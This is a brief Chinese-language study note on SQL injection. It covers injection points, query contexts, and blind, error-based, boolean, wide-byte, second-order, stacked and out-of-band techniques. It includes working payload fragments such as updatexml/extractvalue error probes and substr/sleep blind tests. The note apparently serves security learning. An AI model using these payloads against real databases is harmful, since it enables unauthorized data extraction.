SQL注入的失败——SQL语句的未知性导致的拼接失败
SQL操作都会导致SQL注入的出现:select,insert,update,delete
数据类型:
数字型(无符号干扰)——select * from news where id=$id;
字符型(有符号干扰)——select * from news where id='$id';
搜索型(有多符号干扰)——select * from news where id like '%$id%'
框架型(有各种符号干扰)——select * from news where id=('$id');
php:get,post,cookie,request(都接受)
server:user_agent,xff,host,refer(检测csrf)
用户访问浏览器信息会收集到数据中
改成sql语句
注入方式:
盲注:布尔盲注,报错盲注,延迟注入
延时注入:都不需要(不需要回显也不需要数据库进行判断)
and if(1>2,sleep(1),0);
报错注入:数据库会进行报错处理
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) 0x7e: ~
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 0x5c:/
布尔注入:需要数据库输出判断
and length(database())=7;
and substr(database(),2,1)='i'; 或者 ascii(substr(database(),2,1))=1;(上爆破)
特殊注入:(burpsuite抓包修改)
宽字节注入:绕字符用的
cookie注入,user-agent注入,referer注入
二次注入:插入时有转义函数或配置,后续有利用插入的数据
insert后进入select或update的功能的代码块
堆叠注入:通过结束符同时执行多条sql语句
利用mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行
带外注入:
ROOT高权限且支持load_file()